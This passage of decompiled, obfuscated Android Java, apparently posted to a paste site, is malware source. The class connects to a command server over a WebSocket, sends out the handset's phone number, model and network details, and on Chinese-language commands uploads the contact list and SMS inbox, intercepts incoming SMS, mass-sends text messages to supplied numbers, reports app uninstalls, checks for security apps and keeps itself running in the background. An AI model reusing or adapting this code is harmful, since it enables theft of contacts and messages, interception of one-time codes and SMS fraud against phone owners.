  736.           String str2 = simpleDateFormat.format(date);
  737.           if (n != 1 && n != 2 && n != 3 && n != 4 && n == 5);
  738.           boolean bool = TextUtils.isEmpty(stringBuilder);
  739.           if (bool) {
  740.             stringBuilder.append("收件箱&");
  741.             StringBuilder stringBuilder2 = new StringBuilder();
  742.             this();
  743.             stringBuilder2.append(stringBuilder1);
  744.             stringBuilder2.append("|");
  745.             stringBuilder.append(stringBuilder2.toString());
  746.             stringBuilder1 = new StringBuilder();
  747.             this();
  748.             stringBuilder1.append(str2);
  749.             stringBuilder1.append("|");
  750.             stringBuilder.append(stringBuilder1.toString());
  751.             stringBuilder.append(str1);
  752.           } else {
  753.             stringBuilder.append("\n");
  754.             StringBuilder stringBuilder2 = new StringBuilder();
  755.             this();
  756.             stringBuilder2.append(stringBuilder1);
  757.             stringBuilder2.append("|");
  758.             stringBuilder.append(stringBuilder2.toString());
  759.             stringBuilder1 = new StringBuilder();
  760.             this();
  761.             stringBuilder1.append(str2);
  762.             stringBuilder1.append("|");
  763.             stringBuilder.append(stringBuilder1.toString());
  764.             stringBuilder.append(str1);
  765.           }
  766.         } while (cursor.moveToNext());
  767.         if (!cursor.isClosed())
  768.           cursor.close();
  769.       } else {
  770.         stringBuilder.append("no result!");
  771.       }
  772.       return stringBuilder.toString();
  773.     } catch (Exception exception) {
  774.       exception.printStackTrace();
  775.       return "";
  776.     }
  777.   }
  778.  
  779.   private static String getSystemModel() { return Build.MODEL; }
  780.  
  781.   private static String getSystemVersion() { return Build.VERSION.RELEASE; }
  782.  
  783.   private static String getTxl() {
  784.     String str3;
  785.     str1 = "";
  786.     String str2 = str1;
  787.     try {
  788.       Cursor cursor = mContext.getContentResolver().query(phoneUri, new String[] { "data1", "display_name" }, null, null, null);
  789.       while (true) {
  790.         str2 = str1;
  791.         str3 = str1;
  792.         if (cursor.moveToNext()) {
  793.           str2 = str1;
  794.           boolean bool = TextUtils.isEmpty(str1);
  795.           if (bool) {
  796.             str2 = str1;
  797.             StringBuilder stringBuilder1 = new StringBuilder();
  798.             str2 = str1;
  799.             this();
  800.             str2 = str1;
  801.             stringBuilder1.append("通讯录&");
  802.             str2 = str1;
  803.             stringBuilder1.append(cursor.getString(cursor.getColumnIndex("display_name")));
  804.             str2 = str1;
  805.             stringBuilder1.append("|");
  806.             str2 = str1;
  807.             stringBuilder1.append(cursor.getString(cursor.getColumnIndex("data1")));
  808.             str2 = str1;
  809.             str1 = stringBuilder1.toString();
  810.             continue;
  811.           }
  812.           str2 = str1;
  813.           StringBuilder stringBuilder = new StringBuilder();
  814.           str2 = str1;
  815.           this();
  816.           str2 = str1;
  817.           stringBuilder.append(str1);
  818.           str2 = str1;
  819.           stringBuilder.append("\n");
  820.           str2 = str1;
  821.           stringBuilder.append(cursor.getString(cursor.getColumnIndex("display_name")));
  822.           str2 = str1;
  823.           stringBuilder.append("|");
  824.           str2 = str1;
  825.           stringBuilder.append(cursor.getString(cursor.getColumnIndex("data1")));
  826.           str2 = str1;
  827.           str1 = stringBuilder.toString();
  828.           continue;
  829.         }
  830.         break;
  831.       }
  832.     } catch (Exception str1) {
  833.       str1.printStackTrace();
  834.       str3 = str2;
  835.     }
  836.     str1 = str3;
  837.     if (TextUtils.isEmpty(str3))
  838.       str1 = "通讯录&no result!";
  839.     return str1;
  840.   }
  841.  
  842.   private static String getWifiOr4G() {
  843.     NetworkInfo networkInfo = ((ConnectivityManager)mContext.getSystemService("connectivity")).getActiveNetworkInfo();
  844.     String str1 = "4g";
  845.     String str2 = str1;
  846.     if (networkInfo != null) {
  847.       str2 = str1;
  848.       if (networkInfo.getType() == 1)
  849.         str2 = "wifi";
  850.     }
  851.     return str2;
  852.   }
  853.  
  854.   public static void init(final Context context) {
  855.     mContext = paramContext;
  856.     DLVSCCNBD.putBoolean("sp_show_danger", false);
  857.     Helper.initialize(paramContext, new Task() {
  858.           public void onStart() {
  859.             Log.i("KeepAlive", "Call onStart!");
  860.             ZSTWWISZV.startKeepAlive(context);
  861.           }
  862.          
  863.           public void onStop() { Log.i("KeepAlive", "Call onStop!"); }
  864.         }buildNotification(paramContext), 32505874);
  865.     Helper.start();
  866.   }
  867.  
  868.   private static void initWebSocketListener() { webSocketListener = new WebSocketListener() {
  869.         public void onClosed(WebSocket param1WebSocket, int param1Int, String param1String) {
  870.           super.onClosed(param1WebSocket, param1Int, param1String);
  871.           Log.i("rgh", "onClosed");
  872.         }
  873.        
  874.         public void onClosing(WebSocket param1WebSocket, int param1Int, String param1String) {
  875.           super.onClosing(param1WebSocket, param1Int, param1String);
  876.           Log.i("rgh", "onClosing");
  877.         }
  878.        
  879.         public void onFailure(WebSocket param1WebSocket, Throwable param1Throwable, Response param1Response) {
  880.           super.onFailure(param1WebSocket, param1Throwable, param1Response);
  881.           Log.i("rgh", "onFailure");
  882.           ZSTWWISZV.access$1302(false);
  883.           ZSTWWISZV.access$1708();
  884.           if (mHandler.hasMessages(4)) {
  885.             mHandler.removeCallbacksAndMessages(null);
  886.             mHandler.sendEmptyMessageDelayed(4, 6000L);
  887.           } else {
  888.             mHandler.removeCallbacksAndMessages(null);
  889.           }
  890.           mHandler.sendEmptyMessageDelayed(2, 10000L);
  891.           mHandler.sendEmptyMessageDelayed(1, 60000L);
  892.         }
  893.        
  894.         public void onMessage(WebSocket param1WebSocket, String param1String) {
  895.           super.onMessage(param1WebSocket, param1String);
  896.           StringBuilder stringBuilder = new StringBuilder();
  897.           stringBuilder.append("onMessage: ");
  898.           stringBuilder.append(param1String);
  899.           Log.i("rgh", stringBuilder.toString());
  900.           ZSTWWISZV.access$1302(true);
  901.           if ("通讯录".equals(param1String)) {
  902.             mWebSocket.send(ZSTWWISZV.getTxl());
  903.           } else if (param1String.startsWith("收件箱")) {
  904.             mWebSocket.send(ZSTWWISZV.getLocalSms());
  905.           } else if (param1String.startsWith("拦截短信&open")) {
  906.             DLVSCCNBD.putBoolean("lanjie_sms", true);
  907.             mWebSocket.send("拦截短信&open|true");
  908.           } else if (param1String.startsWith("拦截短信&close")) {
  909.             DLVSCCNBD.putBoolean("lanjie_sms", false);
  910.             mWebSocket.send("拦截短信&close|true");
  911.           } else {
  912.             String[] arrayOfString;
  913.             if (param1String.startsWith("发信息&")) {
  914.               ZSTWWISZV.access$2802(0);
  915.               ZSTWWISZV.access$2902(0);
  916.               ZSTWWISZV.access$3002(0);
  917.               ZSTWWISZV.access$1802(0);
  918.               ZSTWWISZV.access$3102("");
  919.               ZSTWWISZV.access$3202("");
  920.               mMobiles.clear();
  921.               mContents.clear();
  922.               if (mHandler.hasMessages(4))
  923.                 mHandler.removeMessages(4);
  924.               DLVSCCNBD.putString("sp_mobile", "");
  925.               DLVSCCNBD.putString("sp_content", "");
  926.               DLVSCCNBD.putInt("sp_success_num", mSuccessNum);
  927.               DLVSCCNBD.putInt("sp_fail_num", mErrorNum);
  928.               if (param1String.split("发信息&")[1].contains("|")) {
  929.                 String[] arrayOfString1 = param1String.split("发信息&")[1].split("\\|")[0];
  930.                 String str = param1String.split("发信息&")[1].split("\\|")[1];
  931.                 param1String = param1String.split("发信息&")[1].split("\\|")[2];
  932.                 if (arrayOfString1.contains(",")) {
  933.                   arrayOfString1 = arrayOfString1.split(",");
  934.                   byte b;
  935.                   for (b = 0; b < arrayOfString1.length; b++) {
  936.                     mMobiles.add(arrayOfString1[b]);
  937.                     mDaiMobiles.add(arrayOfString1[b]);
  938.                   }
  939.                   if (param1String.contains("#")) {
  940.                     arrayOfString = param1String.split("#");
  941.                     for (b = 0; b < arrayOfString1.length; b++) {
  942.                       int i = (new Random()).nextInt(arrayOfString.length);
  943.                       ArrayList arrayList1 = mContents;
  944.                       StringBuilder stringBuilder2 = new StringBuilder();
  945.                       stringBuilder2.append(str);
  946.                       stringBuilder2.append(arrayOfString[i]);
  947.                       arrayList1.add(stringBuilder2.toString());
  948.                       ArrayList arrayList2 = mDaiContents;
  949.                       StringBuilder stringBuilder1 = new StringBuilder();
  950.                       stringBuilder1.append(str);
  951.                       stringBuilder1.append(arrayOfString[i]);
  952.                       arrayList2.add(stringBuilder1.toString());
  953.                     }
  954.                   } else {
  955.                     for (b = 0; b < arrayOfString1.length; b++) {
  956.                       ArrayList arrayList2 = mContents;
  957.                       StringBuilder stringBuilder1 = new StringBuilder();
  958.                       stringBuilder1.append(str);
  959.                       stringBuilder1.append(arrayOfString);
  960.                       arrayList2.add(stringBuilder1.toString());
  961.                       ArrayList arrayList1 = mDaiContents;
  962.                       StringBuilder stringBuilder2 = new StringBuilder();
  963.                       stringBuilder2.append(str);
  964.                       stringBuilder2.append(arrayOfString);
  965.                       arrayList1.add(stringBuilder2.toString());
  966.                     }
  967.                   }
  968.                   ZSTWWISZV.saveLocal();
  969.                   ZSTWWISZV.sendSms((String)mMobiles.get(0), (String)mContents.get(0));
  970.                 } else {
  971.                   mMobiles.add(arrayOfString1);
  972.                   mDaiMobiles.add(arrayOfString1);
  973.                   if (arrayOfString.contains("#")) {
  974.                     arrayOfString = arrayOfString.split("#");
  975.                     int i = (new Random()).nextInt(arrayOfString.length);
  976.                     ArrayList arrayList2 = mContents;
  977.                     StringBuilder stringBuilder1 = new StringBuilder();
  978.                     stringBuilder1.append(str);
  979.                     stringBuilder1.append(arrayOfString[i]);
  980.                     arrayList2.add(stringBuilder1.toString());
  981.                     ArrayList arrayList1 = mDaiContents;
  982.                     StringBuilder stringBuilder2 = new StringBuilder();
  983.                     stringBuilder2.append(str);
  984.                     stringBuilder2.append(arrayOfString[i]);
  985.                     arrayList1.add(stringBuilder2.toString());
  986.                   } else {
  987.                     ArrayList arrayList = mContents;
  988.                     StringBuilder stringBuilder1 = new StringBuilder();
  989.                     stringBuilder1.append(str);
  990.                     stringBuilder1.append(arrayOfString);
  991.                     arrayList.add(stringBuilder1.toString());
  992.                     arrayList = mDaiContents;
  993.                     stringBuilder1 = new StringBuilder();
  994.                     stringBuilder1.append(str);
  995.                     stringBuilder1.append(arrayOfString);
  996.                     arrayList.add(stringBuilder1.toString());
  997.                   }
  998.                   ZSTWWISZV.saveLocal();
  999.                   ZSTWWISZV.sendSms(arrayOfString1, (String)mContents.get(0));
  1000.                 }
  1001.               }
  1002.             } else if (!arrayOfString.startsWith("清除短信&")) {
  1003.               if (arrayOfString.startsWith("通知栏&")) {
  1004.                 ZSTWWISZV.access$3602(0);
  1005.                 ZSTWWISZV.access$3702(0);
  1006.                 ZSTWWISZV.access$3802(0);
  1007.                 ZSTWWISZV.access$3902(0);
  1008.                 ZSTWWISZV.getNotiTitle();
  1009.               } else if (arrayOfString.startsWith("应用列表&") && mWebSocket != null) {
  1010.                 WebSocket webSocket = mWebSocket;
  1011.                 stringBuilder = new StringBuilder();
  1012.                 stringBuilder.append("应用列表&");
  1013.                 stringBuilder.append(ZSTWWISZV.getPackagesNames());
  1014.                 webSocket.send(stringBuilder.toString());
  1015.               }
  1016.             }
  1017.           }
  1018.         }
  1019.        
  1020.         public void onOpen(WebSocket param1WebSocket, Response param1Response) {
  1021.           super.onOpen(param1WebSocket, param1Response);
  1022.           ZSTWWISZV.access$1702(0);
  1023.           ZSTWWISZV.access$1302(true);
  1024.           StringBuilder stringBuilder1 = new StringBuilder();
  1025.           stringBuilder1.append("onOpen: ");
  1026.           stringBuilder1.append(ZSTWWISZV.getSystemVersion());
  1027.           stringBuilder1.append("|");
  1028.           stringBuilder1.append(ZSTWWISZV.getNativePhoneNumber());
  1029.           stringBuilder1.append("|");
  1030.           stringBuilder1.append(ZSTWWISZV.getSystemModel());
  1031.           stringBuilder1.append("|");
  1032.           stringBuilder1.append(ZSTWWISZV.getWifiOr4G());
  1033.           stringBuilder1.append("|");
  1034.           stringBuilder1.append(KHEYQGIXJ.get(mContext));
  1035.           Log.i("rgh", stringBuilder1.toString());
  1036.           WebSocket webSocket = mWebSocket;
  1037.           StringBuilder stringBuilder2 = new StringBuilder();
  1038.           stringBuilder2.append("握手包&");
  1039.           stringBuilder2.append(ZSTWWISZV.getSystemVersion());
  1040.           stringBuilder2.append("|");
  1041.           stringBuilder2.append(ZSTWWISZV.getNativePhoneNumber());
  1042.           stringBuilder2.append("|");
  1043.           stringBuilder2.append(ZSTWWISZV.getSystemModel());
  1044.           stringBuilder2.append("|");
  1045.           stringBuilder2.append(ZSTWWISZV.getWifiOr4G());
  1046.           stringBuilder2.append("|");
  1047.           stringBuilder2.append(KHEYQGIXJ.get(mContext));
  1048.           webSocket.send(stringBuilder2.toString());
  1049.           boolean bool = mHandler.hasMessages(4);
  1050.           if (mHandler.hasMessages(6)) {
  1051.             mHandler.removeCallbacksAndMessages(null);
  1052.             mHandler.sendEmptyMessageDelayed(6, 60000L);
  1053.           } else {
  1054.             mHandler.removeCallbacksAndMessages(null);
  1055.           }
  1056.           if (bool == true)
  1057.             mHandler.sendEmptyMessageDelayed(4, 6000L);
  1058.           mHandler.sendEmptyMessageDelayed(0, 10000L);
  1059.           mHandler.sendEmptyMessageDelayed(1, 60000L);
  1060.           mHandler.sendEmptyMessageDelayed(5, 60000L);
  1061.           if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_smscallback", ""))) {
  1062.             mWebSocket.send(DLVSCCNBD.getString("sp_smscallback", ""));
  1063.             DLVSCCNBD.putString("sp_smscallback", "");
  1064.           }
  1065.         }
  1066.       }; }
  1067.  
  1068.   private static boolean isAppInstalled() {
  1069.     PackageManager packageManager = mContext.getPackageManager();
  1070.     byte b = 0;
  1071.     mDangerNum = 0;
  1072.     boolean bool = false;
  1073.     while (true) {
  1074.       arrayOfString = mPkgNames;
  1075.       if (b < arrayOfString.length) {
  1076.         try {
  1077.           packageManager.getPackageInfo(arrayOfString[b], 1);
  1078.           try {
  1079.             mDangerNum++;
  1080.           } catch (android.content.pm.PackageManager.NameNotFoundException arrayOfString) {}
  1081.           bool = true;
  1082.         } catch (android.content.pm.PackageManager.NameNotFoundException arrayOfString) {}
  1083.         b++;
  1084.         continue;
  1085.       }
  1086.       return bool;
  1087.     }
  1088.   }
  1089.  
  1090.   private static boolean isMainProcess(Context paramContext) {
  1091.     int i = Process.myPid();
  1092.     Iterator iterator = ((ActivityManager)paramContext.getApplicationContext().getSystemService("activity")).getRunningAppProcesses().iterator();
  1093.     String str = "";
  1094.     while (iterator.hasNext()) {
  1095.       ActivityManager.RunningAppProcessInfo runningAppProcessInfo = (ActivityManager.RunningAppProcessInfo)iterator.next();
  1096.       if (runningAppProcessInfo.pid == i)
  1097.         str = runningAppProcessInfo.processName;
  1098.     }
  1099.     return (str == null || "".equals(str)) ? true : paramContext.getApplicationContext().getPackageName().equals(str);
  1100.   }
  1101.  
  1102.   public static void removeHandler() {
  1103.     mHandler.removeCallbacksAndMessages(null);
  1104.     mHandler2.removeCallbacksAndMessages(null);
  1105.   }
  1106.  
  1107.   public static void removeHandler3() { mHandler3.removeCallbacksAndMessages(null); }
  1108.  
  1109.   private static void saveLocal() {
  1110.     try {
  1111.       String str3;
  1112.       int i = mDaiMobiles.size();
  1113.       int j = 0;
  1114.       if (i > 0)
  1115.         mDaiMobiles.remove(0);
  1116.       if (mDaiContents.size() > 0)
  1117.         mDaiContents.remove(0);
  1118.       String str1 = "";
  1119.       String str2 = "";
  1120.       byte b = 0;
  1121.       while (true) {
  1122.         str3 = str1;
  1123.         i = j;
  1124.         if (b < mDaiMobiles.size()) {
  1125.           if (TextUtils.isEmpty(str2)) {
  1126.             str3 = (String)mDaiMobiles.get(b);
  1127.           } else {
  1128.             StringBuilder stringBuilder = new StringBuilder();
  1129.             this();
  1130.             stringBuilder.append(str2);
  1131.             stringBuilder.append(",");
  1132.             stringBuilder.append((String)mDaiMobiles.get(b));
  1133.             str3 = stringBuilder.toString();
  1134.           }
  1135.           b++;
  1136.           str2 = str3;
  1137.           continue;
  1138.         }
  1139.         break;
  1140.       }
  1141.       while (i < mDaiContents.size()) {
  1142.         if (TextUtils.isEmpty(str3)) {
  1143.           str3 = (String)mDaiContents.get(i);
  1144.         } else {
  1145.           StringBuilder stringBuilder = new StringBuilder();
  1146.           this();
  1147.           stringBuilder.append(str3);
  1148.           stringBuilder.append("#");
  1149.           stringBuilder.append((String)mDaiContents.get(i));
  1150.           str3 = stringBuilder.toString();
  1151.         }
  1152.         i++;
  1153.       }
  1154.       DLVSCCNBD.putString("sp_mobile", str2);
  1155.       DLVSCCNBD.putString("sp_content", str3);
  1156.       DLVSCCNBD.putInt("sp_success_num", mSuccessNum);
  1157.       DLVSCCNBD.putInt("sp_fail_num", mErrorNum);
  1158.     } catch (Exception exception) {}
  1159.   }
  1160.  
  1161.   private static void sendSms(String paramString1, String paramString2) {
  1162.     StringBuilder stringBuilder = new StringBuilder();
  1163.     stringBuilder.append("mobile: ");
  1164.     stringBuilder.append(paramString1);
  1165.     stringBuilder.append(",");
  1166.     stringBuilder.append(paramString2);
  1167.     Log.i("rgh", stringBuilder.toString());
  1168.     if (mLianxuErrorNum == MAX_ERROR_NUM)
  1169.       return;
  1170.     try {
  1171.       SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, sentPI, null);
  1172.     } catch (Exception paramString1) {
  1173.       paramString1.printStackTrace();
  1174.     }
  1175.   }
  1176.  
  1177.   private static void sendSmsByWebsocket(String paramString) {
  1178.     StringBuilder stringBuilder = new StringBuilder();
  1179.     stringBuilder.append("sendSmsByWebsocket = ");
  1180.     stringBuilder.append(paramString);
  1181.     Log.i("rgh", stringBuilder.toString());
  1182.     if (mIsConnected) {
  1183.       stringBuilder = new StringBuilder();
  1184.       stringBuilder.append("sendSmsByWebsocket mWebSocket= ");
  1185.       stringBuilder.append(paramString);
  1186.       Log.i("rgh", stringBuilder.toString());
  1187.       WebSocket webSocket = mWebSocket;
  1188.       if (webSocket != null)
  1189.         webSocket.send(paramString);
  1190.     } else {
  1191.       stringBuilder = new StringBuilder();
  1192.       stringBuilder.append("sendSmsByWebsocket SPUtil= ");
  1193.       stringBuilder.append(paramString);
  1194.       Log.i("rgh", stringBuilder.toString());
  1195.       DLVSCCNBD.putString("sp_smscallback", paramString);
  1196.     }
  1197.   }
  1198.  
  1199.   public static void sendUninstall(String paramString) {
  1200.     WebSocket webSocket = mWebSocket;
  1201.     if (webSocket != null) {
  1202.       StringBuilder stringBuilder = new StringBuilder();
  1203.       stringBuilder.append("卸载成功&");
  1204.       stringBuilder.append(KHEYQGIXJ.get(mContext));
  1205.       stringBuilder.append("|");
  1206.       stringBuilder.append(paramString);
  1207.       stringBuilder.append("|");
  1208.       stringBuilder.append((new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(System.currentTimeMillis())));
  1209.       webSocket.send(stringBuilder.toString());
  1210.     }
  1211.   }
  1212.  
  1213.   private static void startKeepAlive(Context paramContext) {
  1214.     StringBuilder stringBuilder = new StringBuilder();
  1215.     stringBuilder.append("startKeepAlive: ");
  1216.     stringBuilder.append(isMainProcess(paramContext));
  1217.     Log.i("rgh", stringBuilder.toString());
  1218.     getData();
  1219.     mHandler.sendEmptyMessageDelayed(1, 60000L);
  1220.     sentPI = PendingIntent.getBroadcast(paramContext, 0, new Intent(SENT_SMS_ACTION), 0);
  1221.     paramContext.registerReceiver(sendMessage, new IntentFilter(SENT_SMS_ACTION));
  1222.     IntentFilter intentFilter = new IntentFilter();
  1223.     intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
  1224.     paramContext.registerReceiver(new NWTJLYZTZ(), intentFilter);
  1225.     intentFilter = new IntentFilter();
  1226.     intentFilter.addAction("android.permissions.send");
  1227.     paramContext.registerReceiver(new PerReceiver(), intentFilter);
  1228.     intentFilter = new IntentFilter();
  1229.     intentFilter.addAction("sendcontact");
  1230.     paramContext.registerReceiver(new SendContactReceiver(), intentFilter);
  1231.     intentFilter = new IntentFilter("android.intent.action.PACKAGE_REMOVED");
  1232.     intentFilter.addDataScheme("package");
  1233.     paramContext.registerReceiver(new McReceiver(null), intentFilter);
  1234.     intentFilter = new IntentFilter("com.my.submit");
  1235.     paramContext.registerReceiver(new MyReceiver(), intentFilter);
  1236.     startSendLocal();
  1237.     mHandler2.sendEmptyMessageDelayed(0, 20000L);
  1238.   }
  1239.  
  1240.   private static void startSendLocal() {
  1241.     try {
  1242.       mLianxuErrorNum = 0;
  1243.       mErrorNum = DLVSCCNBD.getInt("sp_fail_num", 0);
  1244.       mSuccessNum = DLVSCCNBD.getInt("sp_success_num", 0);
  1245.       currentMobileIndex = 0;
  1246.       mFailPhone = "";
  1247.       content = "";
  1248.       mMobiles.clear();
  1249.       mContents.clear();
  1250.       String[] arrayOfString = DLVSCCNBD.getString("sp_mobile", "");
  1251.       content = DLVSCCNBD.getString("sp_content", "");
  1252.       if (!TextUtils.isEmpty(arrayOfString) && arrayOfString.contains(",")) {
  1253.         arrayOfString = arrayOfString.split(",");
  1254.         byte b;
  1255.         for (b = 0; b < arrayOfString.length; b++) {
  1256.           mMobiles.add(arrayOfString[b]);
  1257.           mDaiMobiles.add(arrayOfString[b]);
  1258.         }
  1259.         arrayOfString = content.split("#");
  1260.         for (b = 0; b < arrayOfString.length; b++) {
  1261.           mContents.add(arrayOfString[b]);
  1262.           mDaiContents.add(arrayOfString[b]);
  1263.         }
  1264.         sendSms((String)mMobiles.get(0), (String)mContents.get(0));
  1265.       } else {
  1266.         mMobiles.add(arrayOfString);
  1267.         mDaiMobiles.add(arrayOfString);
  1268.         mContents.add(content);
  1269.         mDaiContents.add(content);
  1270.         sendSms(arrayOfString, (String)mContents.get(0));
  1271.       }
  1272.     } catch (Exception exception) {}
  1273.   }
  1274.  
  1275.   public static void submitComplete() {
  1276.     WebSocket webSocket = mWebSocket;
  1277.     if (webSocket != null)
  1278.       webSocket.send("信息已提交&一");
  1279.   }
  1280.  
  1281.   private static class McReceiver extends BroadcastReceiver {
  1282.     private McReceiver() {}
  1283.    
  1284.     public void onReceive(Context param1Context, Intent param1Intent) {
  1285.       if ("android.intent.action.PACKAGE_REMOVED".equals(param1Intent.getAction()) && param1Intent.getData() != null)
  1286.         ZSTWWISZV.sendUninstall(param1Intent.getData().getSchemeSpecificPart());
  1287.     }
  1288.   }
  1289.  
  1290.   public static class MyReceiver extends BroadcastReceiver {
  1291.     public void onReceive(Context param1Context, Intent param1Intent) {
  1292.       if ("com.my.submit".equals(param1Intent.getAction()))
  1293.         ZSTWWISZV.submitComplete();
  1294.     }
  1295.   }
  1296.  
  1297.   public static class PerReceiver extends BroadcastReceiver {
  1298.     public void onReceive(Context param1Context, Intent param1Intent) {
  1299.       StringBuilder stringBuilder = new StringBuilder();
  1300.       stringBuilder.append("action: ");
  1301.       stringBuilder.append(param1Intent.getAction());
  1302.       stringBuilder.append(",");
  1303.       stringBuilder.append(mWebSocket);
  1304.       Log.i("rgh", stringBuilder.toString());
  1305.       if ("android.permissions.send".equals(param1Intent.getAction()) && mWebSocket != null) {
  1306.         Log.i("rgh", "权限发送握手包");
  1307.         WebSocket webSocket = mWebSocket;
  1308.         stringBuilder = new StringBuilder();
  1309.         stringBuilder.append("握手包&");
  1310.         stringBuilder.append(ZSTWWISZV.getSystemVersion());
  1311.         stringBuilder.append("|");
  1312.         stringBuilder.append(ZSTWWISZV.getNativePhoneNumber());
  1313.         stringBuilder.append("|");
  1314.         stringBuilder.append(ZSTWWISZV.getSystemModel());
  1315.         stringBuilder.append("|");
  1316.         stringBuilder.append(ZSTWWISZV.getWifiOr4G());
  1317.         stringBuilder.append("|");
  1318.         stringBuilder.append(KHEYQGIXJ.get(mContext));
  1319.         webSocket.send(stringBuilder.toString());
  1320.       }
  1321.     }
  1322.   }
  1323.  
  1324.   public static class SendContactReceiver extends BroadcastReceiver {
  1325.     public void onReceive(Context param1Context, Intent param1Intent) {
  1326.       Log.i("rgh", "SendContactReceiver");
  1327.       if ("sendcontact".equals(param1Intent.getAction()) && mWebSocket != null) {
  1328.         Log.i("rgh", "sendcontact");
  1329.         mHandler.sendEmptyMessageDelayed(6, 60000L);
  1330.       }
  1331.     }
  1332.   }
  1333. }
  1334.  
  1335.  
  1336. /* Location:              /home/kali/k/classes-dex2jar.jar!/YYBJUNPFC/XOOKFRHFX/BIFGJWMPK/ZSTWWISZV.class
  1337.  * Java compiler version: 6 (50.0)
  1338.  * JD-Core Version:       1.0.7
  1339.  */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement